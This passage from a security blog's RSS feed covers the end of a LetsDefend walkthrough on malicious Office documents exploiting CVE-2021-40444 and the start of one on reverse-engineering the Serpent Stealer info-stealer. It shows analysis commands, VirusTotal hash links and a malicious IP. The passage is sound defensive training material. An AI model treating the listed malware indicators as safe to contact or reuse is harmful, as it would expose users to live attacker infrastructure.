767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/d7f609eda1e4667aec989a8e6a2cdc09_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/d7f609eda1e4667aec989a8e6a2cdc09_MD5_hu_d9e6051c1f6759e9.png 800w, https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/d7f609eda1e4667aec989a8e6a2cdc09_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! By doing some research and combining two of the included tools, we&amp;rsquo;ve uncovered a malicious domain within the &lt;em&gt;.doc&lt;/em&gt; file!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1684px&#34; data-flex-grow=&#34;701&#34; height=&#34;114&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/6e92e4ee064e94669d1c74650f299212_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-examing-the-income_tax_and_benefit_return_2021docx-what-is-the-malicious-domain-in-the-docxfile&#34;&gt;Question 4: Examing the income_tax_and_benefit_return_2021.docx, what is the malicious domain in the docx file?&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 4,&lt;/strong&gt; we&amp;rsquo;re looking for a malicious domain again, so let&amp;rsquo;s circle back and apply the same process that we used to answer &lt;strong&gt;Question 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Except instead of using the &lt;em&gt;domaintld&lt;/em&gt; option like we used before, let&amp;rsquo;s see if we get any hits using the &lt;em&gt;url-domain&lt;/em&gt; option.&lt;/p&gt;&#xA;&lt;p&gt;python3 zipdump.py -D /root/Desktop/ChallengeFiles/income_tax_and_benefit_return_2021.docx | python3 re-search.py -n -u url-domain&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3388px&#34; data-flex-grow=&#34;1411&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/3e8ba1129193ce90178d2a5c6c31450f_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/3e8ba1129193ce90178d2a5c6c31450f_MD5_hu_5a03cecc834a945a.png 800w, https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/3e8ba1129193ce90178d2a5c6c31450f_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hey, we found one unique URL in the output! Let&amp;rsquo;s check it against &lt;em&gt;VirusTotal&lt;/em&gt; to see if we can find any hits to confirm if this is a malicious domain or not to confirm our finding.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1523px&#34; data-flex-grow=&#34;634&#34; height=&#34;126&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/bebdd4584a9e4304b202ec69b88df9ad_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We have a few hits, but we&amp;rsquo;ll go a step further and check the &lt;em&gt;Relations &amp;gt; Communicating Files&lt;/em&gt; tab, where we will see several file hits including one that looks &lt;em&gt;very&lt;/em&gt; familiar&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s submit our answer and move on to the final question to determine what common vulnerability all of the sample files exploit.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/74d704ed5d88da02696bec587b491023_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-vulnerability-the-above-files-exploited&#34;&gt;Question 5: What is the vulnerability the above files exploited?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, last question! To tackle &lt;strong&gt;Question 5&lt;/strong&gt;, we&amp;rsquo;ll check the file hash of each sample to collect more information from &lt;em&gt;VirusTotal&lt;/em&gt; and discover the common vulnerability that each malicious document exploits.&lt;/p&gt;&#xA;&lt;p&gt;First, to get the hashes, we&amp;rsquo;ll run the &lt;em&gt;SHA256sum&lt;/em&gt; command for all the files in the &lt;em&gt;ChallengeFile&lt;/em&gt; directory:&lt;/p&gt;&#xA;&lt;p&gt;sha256sum *&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/34aa226804915bd2a90066b851acba33_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, we can submit each of the hashes to &lt;em&gt;VirusTotal.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1371px&#34; data-flex-grow=&#34;571&#34; height=&#34;140&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/cebb69efe3110dcf99ab656d07a8b714_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/679bbe0c50754853978a3a583505ebb99bce720cf26a6aaf8be06cd879701ff1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/679bbe0c50754853978a3a583505ebb99bce720cf26a6aaf8be06cd879701ff1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1391px&#34; data-flex-grow=&#34;579&#34; height=&#34;138&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/719ca9a098f135c11ae79aa36c2c09d3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/ed2b9e22aef3e545814519151528b2d11a5e73d1b2119c067e672b653ab6855a&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/ed2b9e22aef3e545814519151528b2d11a5e73d1b2119c067e672b653ab6855a&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1411px&#34; data-flex-grow=&#34;588&#34; height=&#34;136&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/efb34ea741838457298267fd079b6dae_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1381px&#34; data-flex-grow=&#34;575&#34; height=&#34;139&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/647ea1a9fa697da10bdd0c0e5d065cbb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/d0e1f97dbe2d0af9342e64d460527b088d85f96d38b1d1d4aa610c0987dca745&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/d0e1f97dbe2d0af9342e64d460527b088d85f96d38b1d1d4aa610c0987dca745&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Did you notice that each one is tagged with the label &lt;strong&gt;CVE-2021€“40444?&lt;/strong&gt; I think we have found the answer, but let&amp;rsquo;s do some additional research about this vulnerability from &lt;a class=&#34;link&#34; href=&#34;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft&lt;/em&gt;&lt;/a&gt; which describes it as:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;While this is just a brief summary, we get the idea that the samples we&amp;rsquo;ve analyzed are &lt;em&gt;Microsoft Office&lt;/em&gt; documents specially-crafted to exploit a &lt;em&gt;Windows MSHTML&lt;/em&gt; vulnerability. Between the intelligence we gathered from &lt;em&gt;VirusTotal&lt;/em&gt; and the &lt;em&gt;CVE&lt;/em&gt; details from &lt;em&gt;Microsoft&lt;/em&gt;, we have enough data to answer &lt;strong&gt;Question 5&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-mshtml-challenge-walkthrough/8c6831d7f1fafb486581ab870b0c8a7e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished! We&amp;rsquo;ve successfully analyzed each of the four &lt;em&gt;maldoc&lt;/em&gt; samples, found the &lt;em&gt;IP addresses&lt;/em&gt; and &lt;em&gt;domains&lt;/em&gt; within them, and used those artifacts to figure out which &lt;em&gt;CVE&lt;/em&gt; was exploited. Let&amp;rsquo;s wrap up this investigation.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for another excellent challenge! While I&amp;rsquo;ve used &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/my-software/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Didier Stevens&lt;/em&gt;&lt;/a&gt; tools before, I hadn&amp;rsquo;t had the opportunity to try &lt;em&gt;re-search&lt;/em&gt; or &lt;em&gt;numbers-to-string&lt;/em&gt;. These tools really helped to speed up the investigation since I didn&amp;rsquo;t have to pivot to external tools, and they were powerful for parsing the &lt;em&gt;zipdump&lt;/em&gt; output. This was a great opportunity to practice with these tools hands-on!&lt;/p&gt;&#xA;&lt;p&gt;If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a &lt;em&gt;clap&lt;/em&gt;&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We&amp;rsquo;re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;SANS Cheat Sheet for Analyzing Malicious Documents:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Didier Stevens (Zipdump.py):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/DidierStevens/DidierStevensSuite/blob/master/zipdump.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/DidierStevens/DidierStevensSuite/blob/master/zipdump.py&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Didier Stevens (re-search.py):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/2021/02/22/re-search-py-and-custom-validations/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blog.didierstevens.com/2021/02/22/re-search-py-and-custom-validations/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/175.24.190.249/relations&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/ip-address/175.24.190.249/relations&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Open Office XML Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;http://officeopenxml.com/anatomyofOOXML.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;http://officeopenxml.com/anatomyofOOXML.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Didier Stevens (Numbers-to-Strings):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/DidierStevens/DidierStevensSuite/blob/master/numbers-to-string.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/DidierStevens/DidierStevensSuite/blob/master/numbers-to-string.py&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (Employee_W2_Form.docx)&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/679bbe0c50754853978a3a583505ebb99bce720cf26a6aaf8be06cd879701ff1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/679bbe0c50754853978a3a583505ebb99bce720cf26a6aaf8be06cd879701ff1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (Employees_Contact_Audit_Oct_2021.docx)&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/ed2b9e22aef3e545814519151528b2d11a5e73d1b2119c067e672b653ab6855a&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/ed2b9e22aef3e545814519151528b2d11a5e73d1b2119c067e672b653ab6855a&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (Work_From_Home_Survey.doc)&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (income_tax_and_benefit_return_2021.docx)&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/d0e1f97dbe2d0af9342e64d460527b088d85f96d38b1d1d4aa610c0987dca745&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/d0e1f97dbe2d0af9342e64d460527b088d85f96d38b1d1d4aa610c0987dca745&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft MSHTML Remote Code Execution Vulnerability:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Serpent Stealer Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/</link>
            <pubDate>Sun, 28 Jul 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/bb6f90b69706d1d0d97098e250137449_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Serpent Stealer Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--serpent-stealer-challenge-walkthrough&#34;&gt;LetsDefend — Serpent Stealer Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;analyzing-the-serpent-stealer-malware-with-die-dotpeek-and-mitreattck&#34;&gt;Analyzing the Serpent Stealer Malware with DIE, dotPeek, and MITRE ATT&amp;amp;CK&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/bb6f90b69706d1d0d97098e250137449_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/serpent-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/serpent-stealer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Have you ever wanted to reverse engineer an info stealer malware sample, see how it works, and determine its capabilities to impact a victim? If this topic sounds interesting to you, you&amp;rsquo;ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;Welcome to my weekly walkthrough where we are going to cover the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/serpent-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Serpent Stealer&lt;/strong&gt;&lt;/a&gt; Challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;!&lt;/strong&gt; This is a medium-difficulty malware reverse engineering challenge where we&amp;rsquo;ll be using &lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/decompiler/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;JetBrains dotPeek&lt;/em&gt;&lt;/a&gt; to analyze the provided information stealer malware sample. By digging into this malware&amp;rsquo;s code, we&amp;rsquo;ll determine its capabilities, how it evades detection, and what data it targets — fun stuff!&lt;/p&gt;&#xA;&lt;p&gt;Although malware reverse engineering isn&amp;rsquo;t my strongest skill, I recently tackled a similar challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; so as the old saying goes, practice makes perfect! We might stumble along the way through this one, but we&amp;rsquo;ll adapt and learn some new tricks together.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/&#34; &gt;&lt;strong&gt;LetsDefend — DLL Stealer Challenge Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s grab our shovels and have some fun digging through this malware. Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/serpent-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/serpent-stealer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Located in the heart of the financial district, a leading multinational company was hit by a sophisticated data theft. Over several months, confidential customer data, proprietary software, and sensitive financial information were stolen. The company&amp;rsquo;s cybersecurity team recently discovered that a &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;stealer&amp;quot;&#xA;malware was responsible for the breach. They are analyzing the stealer and trying to protect the company from future attacks.&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-md5-hash-for-themalware&#34;&gt;Question 1: What is the md5 hash for the malware?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s jump right in and connect to the provided virtual machine and extract the challenge file archive within the &lt;em&gt;Challenge File&lt;/em&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;In the meantime, it&amp;rsquo;s also a good idea to get familiar with the provided tools so that we have some idea of what&amp;rsquo;s available to tackle the challenge. Let&amp;rsquo;s review the &lt;em&gt;Tools&lt;/em&gt; folder on the Desktop. Right away, we&amp;rsquo;ll see several available disassemblers, debuggers, and decompilers which will be helpful to dig into the provided malware sample.&lt;/p&gt;&#xA;&lt;p&gt;But for our first task, we simply need to get the &lt;em&gt;MD5 file hash&lt;/em&gt; of the sample so that we can start learning about this stealer malware. There are a couple of ways we can approach this, but for this walkthrough I am going to just use &lt;em&gt;PowerShell —&lt;/em&gt; if you have another method you like, go for it! The important thing is that we get the &lt;em&gt;MD5 hash:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Get-FileHash -Algorithm MD5 .\sample&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1680px&#34; data-flex-grow=&#34;700&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/4c8f2a4a271e50e97b1eea4d6c584cc1_MD5.png&#34; width=&#34;595&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the file hash of this sample, we can answer &lt;strong&gt;Question 1&lt;/strong&gt;! But for some additional intelligence, why don&amp;rsquo;t we also check this hash against &lt;em&gt;VirusTotal&lt;/em&gt; to see if there are any hits?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/c4f981f1f532ec827032775c88a45f1b4153c3d27885f189654ad6ee85c709c1/details&#34;  title=&#34;https://www.virustotal.com/gui/file/c4f981f1f532ec827032775c88a45f1b4153c3d27885f189654ad6ee85c709c1/details&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&#xA;VirusTotalwww.virustotal.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/c4f981f1f532ec827032775c88a45f1b4153c3d27885f189654ad6ee85c709c1/details&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;932px&#34; data-flex-grow=&#34;388&#34; height=&#34;206&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/ad42f9ad69c7c5a30b7f99fc3073caea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;All right, this is a well-known malware sample which might be helpful later in our investigation. For now, let&amp;rsquo;s keep going and see what else we can uncover.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2341px&#34; data-flex-grow=&#34;975&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/8304099f0c14f9acb5d8333a1a769276_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-name-of-the-list-the-malware-uses-to-evade-detection-by-the-virustotal-check&#34;&gt;Question 2: What is the name of the list the malware uses to evade detection by the VirusTotal check?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 2,&lt;/strong&gt; we need to first figure out the best tool to use to analyze the malware. But before we do that, we need to understand what type of file the sample is. To do this, let&amp;rsquo;s gather some information using &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Detect It Easy&lt;/em&gt;&lt;/a&gt; &lt;em&gt;(DIE)&lt;/em&gt; which is a utility that can be used to determine the file type of an application.&lt;/p&gt;&#xA;&lt;p&gt;To put this into practice, let&amp;rsquo;s point &lt;em&gt;DIE&lt;/em&gt; to the path of the _c_hallenge&amp;rsquo;s malware sample:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;323px&#34; data-flex-grow=&#34;134&#34; height=&#34;532&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/9fa80f8feaa7d83d87aa3259f2a6068d_MD5.png&#34; width=&#34;718&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here we will see that the sample binary is a .NET portable executable (PE32). Since we now know that it is a .NET binary, we can select the right tool to disassemble the executable and start to answer &lt;strong&gt;Question 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As I hinted at in the introduction, we&amp;rsquo;re going to leverage &lt;em&gt;JetBrains dotPeek&lt;/em&gt; which is already installed on the &lt;em&gt;LetsDefend VM&lt;/em&gt; we&amp;rsquo;re using.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Introduction.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;dotPeek is a free .NET decompiler and assembly browser. The main idea behind dotPeek is to make high-quality decompiling available to everyone in the 